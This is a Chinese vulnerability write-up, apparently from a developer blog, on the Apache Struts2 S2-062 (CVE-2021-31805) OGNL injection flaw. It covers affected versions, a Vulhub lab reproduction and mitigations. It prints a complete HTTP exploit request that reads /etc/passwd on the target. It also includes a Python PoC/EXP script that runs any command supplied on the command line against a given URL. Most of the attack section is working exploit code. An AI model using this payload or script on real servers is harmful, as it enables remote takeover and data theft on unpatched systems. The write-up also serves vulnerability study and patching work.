Struts2 S2-062 (CVE-2021-31805) 远程代码执行漏洞

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介: Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。

声明


请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、漏洞描述


此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整,导致输入验证不正确。

如果开发人员使用%{…} 语法进行强制 OGNL 解析,仍有一些特殊的 TAG 属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

image.png

二、漏洞原理


开发人员使用%{…} 语法进行强制 OGNL 解析,有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

三、影响版本


  • Struts 2.0.0 - Struts 2.5.29


四、安全版本


  • Struts >= 2.5.30


五、漏洞细节分析


六、本地复现


  • 复现环境:Vulhub /Struts2 /s2-061 版本->Struts2:2.5.25
  • 靶机:KALI


启动环境

image.png

docker ps

访问目标地址

image.png

漏洞EXP


POST /index.action HTTP/1.1

Host: X.X.X.X:8080

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 1096

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%{

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +

(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +

(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))

}

------WebKitFormBoundaryl7d1B1aGsV2wcZwF—


执行结果

image.png

Py脚本测试

import requests

from lxml import etree

import argparse

def poc(url):

   try:

       headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}

       data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"

       text=requests.post(url, headers=headers, data=data).text

       if "id" in text:

           print("发现漏洞")

           page=etree.HTML(text)

           data = page.xpath('//a[@id]/@id')

           print(data[0])

   except:

       print("POC检测失败")

def EXP(url,cmd):

   try:

       headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}

       data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)

       text=requests.post(url, headers=headers, data=data).text

       if "id" in text:

           print("命令回显")

           page=etree.HTML(text)

           data = page.xpath('//a[@id]/@id')

           print(data[0])

   except:

       print("EXP检测失败")

if __name__ == '__main__':

   parser = argparse.ArgumentParser(description='S2-062验证')

   parser.add_argument('--url', help="要验证的URL")

   parser.add_argument('--cmd',help="你想执行的命令",default="")

   args = parser.parse_args()

   if args.cmd !="":

       EXP(args.url,args.cmd)

   else:

       poc(args.url)


测试结果如下

image.png

七、漏洞修复


缓解措施

1、这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估,因为“value”属性不存在并且它试图填充该属性。因此,通过给所有属性一个空白值 =“”,这将有助于缓解这个问题。(例如:<s:label name="%{skillName}" value="" />

2、将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。


厂商已发布新版本,请及时更新Struts至2.5.30或更高版本!!!

目录
相关文章
|
4月前
|
安全 Java 网络安全
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
|
5月前
|
安全 Java 网络安全
Struts 2.0.0 至 2.1.8.1 远程命令执行(CVE-2010-1870)
Struts 2.0.0 至 2.1.8.1 远程命令执行(CVE-2010-1870)
|
5月前
|
安全 关系型数据库 网络安全
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
|
安全 前端开发 Java
struts2-046 远程代码执行 (CVE-2017-5638)
struts2-046 远程代码执行 (CVE-2017-5638)
602 0
struts2-046 远程代码执行 (CVE-2017-5638)
|
XML 安全 Oracle
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
159 0
|
存储 开发框架 安全
CVE-2020-0688 exchange远程代码执行漏洞
CVE-2020-0688 exchange远程代码执行漏洞
180 0
|
JSON 供应链 安全
JsonWebToken远程代码执行漏洞(CVE-2022-23529)
JsonWebToken远程代码执行漏洞(CVE-2022-23529)
JsonWebToken远程代码执行漏洞(CVE-2022-23529)
|
安全 测试技术 PHP
CVE-2017-9841 phpunit 远程代码执行漏洞
CVE-2017-9841 phpunit 远程代码执行漏洞
2068 0
CVE-2017-9841 phpunit 远程代码执行漏洞
|
安全 关系型数据库 MySQL
CVE-2016-5734 phpmyadmin远程代码执行漏洞
CVE-2016-5734 phpmyadmin远程代码执行漏洞
264 0
CVE-2016-5734 phpmyadmin远程代码执行漏洞